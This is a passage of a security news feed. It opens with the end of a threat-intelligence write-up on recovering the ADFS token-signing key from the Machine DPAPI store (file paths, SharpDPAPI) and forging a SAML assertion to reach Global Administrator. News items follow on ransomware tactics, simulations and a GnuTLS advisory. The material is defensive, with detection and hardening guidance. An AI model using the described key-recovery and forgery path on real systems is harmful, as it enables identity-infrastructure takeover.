<p><span>Analysis revealed that</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>had been disabled and a manual rotation had been performed. Confirmation was obtained directly via</span><span> </span><code>Get-AdfsProperties</code><span>, which returned</span><span> </span><code>AutoCertificateRollover: False</code><span>, </span><span>indicating that certificate lifecycle management had been delegated to manual administrative processes. While the ADFS service used a new valid key for signing, the WID configuration database was never updated to reflect the new certificate—leaving an expired "ghost" entry as the only record. This drift condition surfaces via Microsoft Event ID 385, which indicates certificate validity warnings in the ADFS service. Notably, this event self-resolves when</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is re-enabled and a subsequent certificate rollover is performed; in environments where it is disabled and manual rotation is performed without a corresponding database update, it is the observable symptom of this drift condition.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig1.max-1000x1000.png" alt="ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="8uqvx">Figure 1: ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>ADFS maintains private keys in two protection contexts. In </span><strong>Location 1 (User DPAPI)</strong><span>, encrypted key blobs may exist on disk, but the DPAPI protection is tied to the service account's SID and associated DPAPI masterkey material. In the assessed environment, the domain DPAPI backup key approach successfully decrypted masterkey material for interactive user profiles, but returned no decryptable material associated with the ADFS service account profile. All subsequent offline decryption attempts similarly failed, consistent with the masterkey not being recoverable through the evaluated on-disk recovery approach in this environment—though this observation is bounded to the assessed environment and does not represent a universal architectural property of all ADFS deployments.</span></p>
<p><strong>Location 2 (Machine RSA)</strong><span> does not rely on a user-specific logon session. Instead, the key material is protected using Machine DPAPI, leveraging the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys available to sufficiently privileged SYSTEM-level contexts.</span></p>
<h4><span>Why the WID Path Misses This Key</span></h4>
<p><span>In ADFS environments experiencing configuration drift—commonly arising during manual certificate rotations where</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is disabled—the ADFS service host can successfully bind to a newly provisioned signing certificate at the operating-system level, ensuring continued service operation. However, the WID configuration database may not reflect the current signing certificate, resulting in stale certificate metadata.</span></p>
<p><span>This divergence between configuration and runtime state is the condition that ADFS Event ID 385 is designed to flag. As a consequence, extraction techniques that rely solely on the WID database and DKM material may return certificates that are no longer used for active signing, leading to rejected assertions in downstream federation scenarios.</span></p>
<h3><span>Understanding How the Machine DPAPI Store Becomes Populated</span></h3>
<p><span>Understanding how the Machine DPAPI store becomes populated requires examining how ADFS persists its token-signing key material. During initial deployment, automatic certificate rollover, or manual certificate rotation, ADFS persists its RSA private key material in the machine-scoped CAPI key store at </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span>, protected using machine DPAPI context rather than a user-bound DPAPI context. SharpDPAPI</span><span> </span><code>/machine</code><span> </span><span>enumeration in the assessed environment confirmed that the active machine key material resided under this path, while the CNG</span><span> </span><code>Crypto\Keys</code><span> </span><span>store was not observed in use in the assessed environment.</span></p>
<p><span>The protection chain relies on the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys associated with the S-1-5-18 security context, stored in</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span> </span><span>as DPAPI-protected key material—both components ultimately resolvable only within highly privileged SYSTEM-level contexts on the host. The corresponding certificate is enrolled into the </span><code>LocalMachine\My</code><span> </span><span>certificate store, from which ADFS retrieves the associated private key during token-signing operations.</span></p>
<p><span>The architectural rationale for machine-scoped key storage is operational resilience. A machine-scoped key remains usable across service account password changes, gMSA rotations, system reboots, and service restarts without requiring key reprovisioning or dependency on a specific interactive logon session. This design ensures that the ADFS service can consistently access the signing key regardless of changes to the underlying service account credentials.</span></p>
<p><span>However, this same design choice has important security implications. Because the private key is protected using Machine DPAPI rather than a user-bound DPAPI context, a sufficiently privileged local process capable of accessing the machine key store and associated DPAPI artifacts may be able to recover the key material independently of the original service logon session. As a result, under certain conditions, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to defenses primarily focused on credential dumping or process-memory access behaviors.</span></p></div>
<div class="block-paragraph_advanced"><div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1">
<tbody>
<tr>
<td>
<p><strong>KEY DESIGN IMPLICATION</strong></p>
<p><span>ADFS persists its token-signing private key material in the machine-scoped key store, protected using Machine DPAPI semantics. This is a documented behavior enabling machine-scoped key persistence that survives service account changes, credential rotations, and service restarts.</span></p>
<p><span>However, this design introduces an operational security implication that is not commonly emphasized in standard ADFS hardening guidance: private keys stored within the machine key store are protected using this protection model and may be recoverable by a sufficiently privileged SYSTEM-level context through access to the </span><span>DPAPI_SYSTEM</span><span> LSA secret and machine masterkeys available locally on the host.</span></p>
<p><span>As a result, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to security controls primarily focused on credential dumping or process-memory access behaviors.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attack Flow: Machine DPAPI Key Recovery to SAML Forgery</span></h3></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig2.max-1000x1000.png" alt="Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 2: Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig3.max-1000x1000.png" alt="‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 3: ‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The recovered key was used to forge a SAML assertion impersonating a Global Administrator identity, which Entra ID accepted as a valid authentication assertion, resulting in authenticated access at </span><strong>Global Administrator</strong><span> privilege level within the federated Microsoft 365 tenant.</span></p>
<h3><span>Detection and Hunting</span></h3>
<p><span>Defenders should prioritize visibility into operating system-level cryptographic operations and identity issuance behavior, rather than relying solely on application-layer configuration stores.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>SACL-Based Object Access Monitoring:</strong><span> Configure object access auditing via SACLs on</span><span> </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span> </span><span>and</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span>. </span><span>When configured correctly, this generates </span><strong>Security Event ID 4663</strong><span> for file access attempts. Coverage depends on SACL configuration and access paths; treat this as supporting evidence in correlation-based detection rather than a stand-alone signal.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>ADFS Token Issuance Consistency:</strong><span> Monitor for inconsistencies between primary authentication events and token issuance events in ADFS audit logs. Relevant events include token issuance and claims processing records (Event IDs 299, 1200-series, depending on ADFS version and audit configuration). The objective is to identify token issuance that cannot be clearly correlated to a preceding authentication context. This is most effective when normal authentication patterns per relying party trust are baselined.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Federated Identity Monitoring in Entra ID:</strong><span> Entra ID sign-in logs will record an accepted forged assertion as a standard federated sign-in event. Detection requires cross-correlating Entra ID sign-in records against ADFS-side issuance logs—neither source in isolation is sufficient. For privileged accounts, focus on unexpected Internet Protocol (IP) ranges, claim set deviations,and user-agent inconsistencies.</span></p>
</li>
</ul>
<h3><span>Mitigation and Remediation</span></h3>
<p><span>ADFS infrastructure should be treated as Tier 0 identity infrastructure, </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"><span>equivalent in criticality to Domain Controllers</span></a><span>. If SYSTEM access is achieved on an ADFS host, the signing key must be considered compromised.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Hardware-Backed Key Protection:</strong><span> Migrate token-signing certificates to a Hardware Security Module (HSM). HSM-backed keys ensure private key material does not exist in software-accessible storage on the host, eliminating the Machine DPAPI extraction path entirely.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>gMSA Service Identity:</strong><span> </span><span>Run ADFS services using Group Managed Service Accounts to automate credential rotation and reduce operational drift in service identity management. While this does not directly address machine-scoped key protection, it eliminates manual credential management as a contributing factor to configuration drift.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Tier 0 Administrative Controls:</strong><span> Govern ADFS servers with strict Tier 0 controls: restricted administrative access pathways, dedicated Privileged Access Workstations (PAWs), separation from general server administration domains, and enhanced privileged access monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Certificate Rotation and Configuration Validation:</strong><span> If compromise is suspected, rotate the token-signing certificate and validate consistency across ADFS configuration, the </span><span> </span><code>LocalMachine\My</code><span> </span><span>store, and federation metadata. Do not rely on a single source of truth. For environments with AutoCertificateRollover disabled, manual rotation must include updating ADFS via </span><code>Set-AdfsCertificate</code><span>—installing the certificate alone is insufficient. Validate using</span><code> Get-AdfsCertificate</code><span> after rotation. If Event ID 385 appears afterward, investigate for configuration inconsistency. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Multicloud Scope Awareness:</strong><span> A compromised ADFS token-signing key affects all SAML relying party trusts, not just Microsoft services. Organizations using ADFS for identity federation across other software-as-a-service (SaaS) platforms should treat ADFS as Tier 0 infrastructure and audit all relying party trusts. Migrating away from ADFS-based federation (e.g., to native OIDC federation) removes this specific attack path.</span></p>
</li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Commvault measures cyber recovery readiness with AI attack simulations]]></title>
<description><![CDATA[Commvault has announced Commvault Minutes to Recovery, a scenario-driven cyber resilience simulation that lets participants act as a hacker and run their own attacks using frontier AI tools. Then, participants are challenged to defend against and recover from an incident under pressure to test th...]]></description>
<link>https://tsecurity.de/de/3651616/it-security-nachrichten/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651616/it-security-nachrichten/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/</guid>
<pubDate>Tue, 07 Jul 2026 15:09:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Commvault has announced Commvault Minutes to Recovery, a scenario-driven cyber resilience simulation that lets participants act as a hacker and run their own attacks using frontier AI tools. Then, participants are challenged to defend against and recover from an incident under pressure to test their resilience against these AI-driven cyberattacks. The window between vulnerability discovery and active exploitation, once measured in days, has narrowed to 29 minutes in 2025, 65% faster than the year before.1 … <a href="https://www.helpnetsecurity.com/2026/07/07/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/07/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/">Commvault measures cyber recovery readiness with AI attack simulations</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Commvault measures cyber recovery readiness with AI attack simulations]]></title>
<description><![CDATA[Commvault has announced Commvault Minutes to Recovery, a scenario-driven cyber resilience simulation that lets participants act as a hacker and run their own attacks using frontier AI tools. Then, participants are challenged to defend against and recover from an incident…
Read more →
The post Com...]]></description>
<link>https://tsecurity.de/de/3651605/it-security-nachrichten/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651605/it-security-nachrichten/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/</guid>
<pubDate>Tue, 07 Jul 2026 15:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Commvault has announced Commvault Minutes to Recovery, a scenario-driven cyber resilience simulation that lets participants act as a hacker and run their own attacks using frontier AI tools. Then, participants are challenged to defend against and recover from an incident…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/commvault-measures-cyber-recovery-readiness-with-ai-attack-simulations/">Commvault measures cyber recovery readiness with AI attack simulations</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Is Cyber Incident Response Planning?]]></title>
<description><![CDATA[Cyber incident response planning is the process of preparing the policies, procedures, teams and technologies required to respond effectively to cybersecurity incidents. It helps organisations detect incidents faster, contain threats, reduce business disruption and recover with greater confidence.]]></description>
<link>https://tsecurity.de/de/3651435/it-security-nachrichten/what-is-cyber-incident-response-planning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651435/it-security-nachrichten/what-is-cyber-incident-response-planning/</guid>
<pubDate>Tue, 07 Jul 2026 14:09:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/what-is-cyber-incident-response-planning" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/CIPR%20New%20(1).webp" alt="What is Cyber Incident Response Planning" class="hs-featured-image"> </a> 
</div> 
<p><span><a href="https://www.cm-alliance.com/training/cyber-incident-planning-response-training-course">Cyber incident response planning</a> is the process of preparing the policies, procedures, teams and technologies required to respond effectively to cybersecurity incidents. It helps organisations detect incidents faster, contain threats, reduce business disruption and recover with greater confidence.</span><br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why The Gentlemen ransomware is a test of identity and recovery controls]]></title>
<description><![CDATA[The Gentlemen ransomware underscores a challenge many CISOs face: stopping attackers after they gain an initial foothold. Researchers say the malware can spread across enterprise networks using legitimate Windows management tools while simultaneously attempting to weaken security and recovery sys...]]></description>
<link>https://tsecurity.de/de/3651110/it-security-nachrichten/why-the-gentlemen-ransomware-is-a-test-of-identity-and-recovery-controls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651110/it-security-nachrichten/why-the-gentlemen-ransomware-is-a-test-of-identity-and-recovery-controls/</guid>
<pubDate>Tue, 07 Jul 2026 12:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The Gentlemen ransomware underscores a challenge many CISOs face: stopping attackers after they gain an initial foothold. Researchers say the malware can spread across enterprise networks using legitimate Windows management tools while simultaneously attempting to weaken security and recovery systems.</p>



<p>A <a href="https://www.picussecurity.com/resource/blog/how-the-gentlemen-ransomware-spreads-and-encrypts-entire-networks" target="_blank" rel="noreferrer noopener">report</a> from Picus Security shows the malware combines self-propagation with the abuse of <a href="https://www.csoonline.com/article/4161104/top-techniques-cyberattackers-use-to-infiltrate-your-systems-today.html" target="_blank">trusted administrative tools</a> and attempts to impair recovery systems before encryption begins. The report follows a technical analysis of the encryptor <a href="https://www.microsoft.com/en-us/security/blog/2026/05/28/the-gentlemen-ransomware-dissecting-a-self-propagating-go-encryptor/">published</a> by Microsoft Threat Intelligence in late May.</p>



<p><a href="https://www.csoonline.com/article/4178580/the-gentlemen-are-coming-for-your-files-and-then-your-network.html">The Gentlemen</a> is a ransomware-as-a-service operation written in Go and obfuscated with Garble. The group first emerged around mid-2025 as a closed operation and began offering its platform to affiliates in September 2025.</p>



<p>The Picus report focuses on a Windows-targeting encryptor, but other researchers have <a href="https://www.broadcom.com/support/security-center/protection-bulletin/cross-platform-and-coordinated-the-gentlemen-raas-targets-windows-linux-and-esxi" target="_blank" rel="noreferrer noopener">reported</a> broader Gentlemen tooling aimed at Linux and VMware ESXi environments. The group has been observed in attacks on organizations in sectors including education, transportation, healthcare, and financial services across North America, South America, Europe, Africa, and Asia.</p>



<p>Its self-propagation capability is the most significant feature for enterprise defenders. When enabled, the malware can enumerate reachable systems, stage its binary through an SMB share, and attempt up to 21 remote execution operations against each target.</p>



<p>Those methods include PsExec, WMIC, scheduled tasks, Windows services, PowerShell remoting, and WMI process creation. The redundancy is intended to improve the chances that at least one method will succeed, allowing the malware to continue spreading through the network.</p>



<p>Before encryption, The Gentlemen attempts to weaken the victim environment by disabling Microsoft Defender, deleting shadow copies, and removing forensic artifacts. It also stops services linked to databases, backup tools, endpoint protection, and virtualization platforms, a tactic that can make recovery harder once encryption begins.</p>



<p>The encryptor uses a hybrid Curve25519 and XChaCha20 encryption scheme with unique keys for each file, Picus said. In the sample cited by Picus, encrypted files were appended with the .umc16h extension, though <a href="https://www.broadcom.com/support/security-center/protection-bulletin/gentlemen-ransomware" target="_blank" rel="noreferrer noopener">other researchers</a> have observed different extensions in separate Gentlemen campaigns. The group also uses double extortion tactics, threatening to leak stolen data if victims do not pay.</p>



<h2 class="wp-block-heading">Lateral movement and identity risks</h2>



<p>Once attackers gain an initial foothold, compromised identities and excessive privileges often matter more than the malware itself, said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005665" target="_blank" rel="noreferrer noopener">Sakshi Grover</a>, senior research manager for Cybersecurity Services Research at IDC Asia/Pacific.</p>



<p>“The Gentlemen reinforces a trend IDC has been observing across modern ransomware operations: attackers are increasingly exploiting trusted administrative tools, compromised identities, and excessive privileges rather than relying solely on sophisticated malware or zero-day exploits,” Grover said.</p>



<p>For CISOs, that means ransomware defense cannot be judged only by whether the initial compromise is blocked. Organizations also need to limit how far an attacker can move once inside the network.</p>



<p>Grover said security leaders should start with stronger controls around privileged accounts, including <a href="https://www.csoonline.com/article/4155179/5-ways-to-strengthen-identity-security-and-improve-attack-resilience.html">phishing-resistant MFA</a> and tighter limits on who can access critical systems. Identity governance and network segmentation should then be used to reduce the number of paths an attacker can take once inside the environment.</p>



<p>Those controls should be tested through adversary emulation and attack path testing, rather than assumed to be effective because they exist on paper.</p>



<h2 class="wp-block-heading">Backups and endpoint tools</h2>



<p>The Gentlemen’s attempt to impair security and recovery tools highlights a common weakness in enterprise ransomware planning, according to analysts.</p>



<p>“Many organizations continue to equate deploying backup platforms or endpoint detection solutions with being ransomware resilient,” Grover said. “However, sophisticated ransomware increasingly targets these very capabilities before encryption begins.”</p>



<p>Grover added that CISOs should test whether recovery systems remain usable during an active compromise, including backups that are meant to be immutable and endpoint tools protected against tampering. Those exercises should also account for the possibility that Active Directory or key security management consoles may be unavailable.</p>



<p>The most dangerous assumption is that having backups is the same as being able to recover from ransomware, according to <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher.</p>



<p>“If your backups live on the same flat network or depend on the same compromised Active Directory credentials, they are not a recovery asset; they are part of the attack surface,” she said.</p>



<p>Datta also pointed to over-reliance on endpoint detection and response tools. <a href="https://www.welivesecurity.com/en/eset-research/killing-me-gently-inside-gentlemens-edr-killer-framework/" target="_blank" rel="noreferrer noopener">ESET</a> researchers have linked The Gentlemen to a mature EDR-killer toolset, including variants that abuse vulnerable drivers to disrupt security software.</p>



<h2 class="wp-block-heading">An operational resilience problem</h2>



<p>The group’s model reflects the continued industrialization of ransomware-as-a-service, a framework that Datta said lowers the technical barrier for affiliates by pairing encryption with standardized evasion and propagation layers.</p>



<p>For CISOs, the question is not whether backup and endpoint tools are in place, but whether they still work after attackers have gained administrative access. Datta said organizations need to assess exposure across identity infrastructure, Active Directory, cloud services, and backup environments.</p>



<p>The priority, she said, is to reduce the paths available to attackers and prove, through regular resilience exercises, that the organization can contain an intrusion before it becomes a wider outage.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[VECT Ransomware Uses TeamPCP Credential Archive to Select Victims After Compromise]]></title>
<description><![CDATA[Even if victims pay the ransom, neither they nor the attackers can recover these files. While this encryption failure is alarming, a much larger structural problem exists in how VECT selects its targets. Instead of hacking into specific organizations, VECT purchases bulk access through a supply c...]]></description>
<link>https://tsecurity.de/de/3651065/it-security-nachrichten/vect-ransomware-uses-teampcp-credential-archive-to-select-victims-after-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651065/it-security-nachrichten/vect-ransomware-uses-teampcp-credential-archive-to-select-victims-after-compromise/</guid>
<pubDate>Tue, 07 Jul 2026 11:54:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Even if victims pay the ransom, neither they nor the attackers can recover these files. While this encryption failure is alarming, a much larger structural problem exists in how VECT selects its targets. Instead of hacking into specific organizations, VECT purchases bulk access through a supply chain partner, TeamPCP. Traditional ransomware groups pick a target […]</p>
<p>The post <a href="https://cyberpress.org/vect-ransomware-targets-victims/">VECT Ransomware Uses TeamPCP Credential Archive to Select Victims After Compromise</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Do Ransomware Simulation Exercises Work?]]></title>
<description><![CDATA[Ransomware simulation exercises recreate realistic ransomware attack scenarios to test an organisation’s incident response capabilities, communication processes and overall readiness. They help teams understand how they would detect, escalate, contain, communicate and recover from a ransomware in...]]></description>
<link>https://tsecurity.de/de/3650809/it-security-nachrichten/how-do-ransomware-simulation-exercises-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650809/it-security-nachrichten/how-do-ransomware-simulation-exercises-work/</guid>
<pubDate>Tue, 07 Jul 2026 09:53:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/how-do-ransomware-simulation-exercises-work" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Cybersecurity_Team_in_Ransomware_Simulation_Exercise-1_1100x400%20(1).webp" alt="Ransomware Simulation Exercise 2026 " class="hs-featured-image"> </a> 
</div> 
<p><span>Ransomware simulation exercises recreate realistic ransomware attack scenarios to test an organisation’s incident response capabilities, communication processes and overall readiness. They help teams understand how they would detect, escalate, contain, communicate and recover from a ransomware incident before a real attack occurs.</span><br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can You Provide a Cyber Incident Response Plan Example?]]></title>
<description><![CDATA[ A cyber incident response plan outlines the steps an organisation should take to prepare for, identify, contain, eradicate, recover from, and learn from cybersecurity incidents. A well-structured plan defines responsibilities, communication procedures, escalation paths, reporting requirements, a...]]></description>
<link>https://tsecurity.de/de/3650042/it-security-nachrichten/can-you-provide-a-cyber-incident-response-plan-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650042/it-security-nachrichten/can-you-provide-a-cyber-incident-response-plan-example/</guid>
<pubDate>Tue, 07 Jul 2026 00:37:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/can-you-provide-a-cyber-incident-response-plan-example" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Cyber_Incident_Response_Plan_Flowchart_1100x400%20(1).webp" alt="Cyber Incident Response Plan Example " class="hs-featured-image"> </a> 
</div> 
<p> <span>A <a href="https://www.cm-alliance.com/training/cyber-incident-planning-response-training-course">cyber incident response plan</a> outlines the steps an organisation should take to prepare for, identify, contain, eradicate, recover from, and learn from cybersecurity incidents. A well-structured plan defines responsibilities, communication procedures, escalation paths, reporting requirements, and recovery actions to minimise business disruption and improve cyber resilience.</span> <br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bridging the cyber resilience gap | Kaseya]]></title>
<description><![CDATA[“Cyber resilience necessarily adds a security dimension that data protection lacks. The goal shifts from “can we recover?” to “can we recover ...]]></description>
<link>https://tsecurity.de/de/3649894/it-security-nachrichten/bridging-the-cyber-resilience-gap-kaseya/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649894/it-security-nachrichten/bridging-the-cyber-resilience-gap-kaseya/</guid>
<pubDate>Mon, 06 Jul 2026 23:21:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“<b>Cyber</b> resilience necessarily adds a <b>security</b> dimension that <b>data</b> protection lacks. The goal shifts from “can we recover?” to “can we recover ...]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8502-1: GnuTLS vulnerabilities]]></title>
<description><![CDATA[It was discovered that GnuTLS had a timing side-channel when processing
malformed ciphertexts in RSA-PSK ClientKeyExchange. A remote attacker
could possibly use this issue to recover sensitive information. This
issue only affected Ubuntu 18.04 LTS. (CVE-2024-0553)

Bing Shi discovered that GnuTLS...]]></description>
<link>https://tsecurity.de/de/3649261/unix-server/usn-8502-1-gnutls-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649261/unix-server/usn-8502-1-gnutls-vulnerabilities/</guid>
<pubDate>Mon, 06 Jul 2026 17:47:11 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that GnuTLS had a timing side-channel when processing
malformed ciphertexts in RSA-PSK ClientKeyExchange. A remote attacker
could possibly use this issue to recover sensitive information. This
issue only affected Ubuntu 18.04 LTS. (CVE-2024-0553)

Bing Shi discovered that GnuTLS incorrectly handled decoding certain
DER-encoded certificates. A remote attacker could possibly use this
issue to cause GnuTLS to consume resources, leading to a denial of
service. This issue only affected Ubuntu 18.04 LTS. (CVE-2024-12243)

Luigino Camastra discovered that GnuTLS incorrectly handled certain
PKCS11 token labels. A remote attacker could use this issue to cause
GnuTLS to crash, resulting in a denial of service, or possibly execute
arbitrary code. The default compiler options for affected releases
should reduce the vulnerability to a denial of service. (CVE-2025-9820)

Tim Scheckenbach discovered that GnuTLS incorrectly handled malicious
certificates containing a large number of name constraints and subject
alternative names. A remote attacker could possibly use this issue to
cause GnuTLS to consume resources, resulting in a denial of service.
This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.
(CVE-2025-14831)

Oleh Konko and Joshua Rogers discovered that GnuTLS did not properly
handle case-insensitive name constraints in certain cases. A remote
attacker could possibly use this issue to bypass certificate validation,
leading to a machine-in-the-middle attack. (CVE-2026-3833)

Joshua Rogers discovered that GnuTLS did not properly handle very short
premaster secrets in certain RSA key exchange cases with PKCS#11-backed
server keys. A remote attacker could possibly use this issue to obtain
sensitive information. This issue only affected Ubuntu 18.04 LTS and
Ubuntu 20.04 LTS. (CVE-2026-5260)

Joshua Rogers discovered that GnuTLS did not properly handle malformed
DTLS handshake fragments in certain cases. A remote attacker could
possibly use this issue to obtain sensitive information, or cause a
denial of service. This issue only affected Ubuntu 20.04 LTS.
(CVE-2026-33845)

Haruto Kimura, Oscar Reparaz, and Zou Dikai discovered that GnuTLS did
not properly validate DTLS handshake fragment lengths in certain cases.
A remote attacker could possibly use this issue to cause GnuTLS to
crash, resulting in a denial of service, or execute arbitrary code.
(CVE-2026-33846)

Joshua Rogers discovered that GnuTLS did not properly order DTLS packets
with duplicate sequence numbers in certain cases. A remote attacker
could possibly use this issue to cause GnuTLS to crash, resulting in a
denial of service. (CVE-2026-42009)

Joshua Rogers discovered that GnuTLS did not properly handle usernames
containing NUL characters in certain RSA-PSK configurations. A remote
attacker could possibly use this issue to bypass authentication and gain
unintended access to services. This issue only affected Ubuntu 20.04
LTS. (CVE-2026-42010)]]></content:encoded>
</item>
<item>
<title><![CDATA[Flipper Zero Firmware Development Continues With New Community Contribution Rules]]></title>
<description><![CDATA[Flipper Devices has responded to intense community backlash over perceptions that it had abandoned active development of the Flipper Zero firmware. In a statement addressing the controversy, the company announced it will allocate dedicated resources to firmware maintenance while overhauling…
Read...]]></description>
<link>https://tsecurity.de/de/3646980/it-security-nachrichten/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646980/it-security-nachrichten/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/</guid>
<pubDate>Sun, 05 Jul 2026 18:38:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
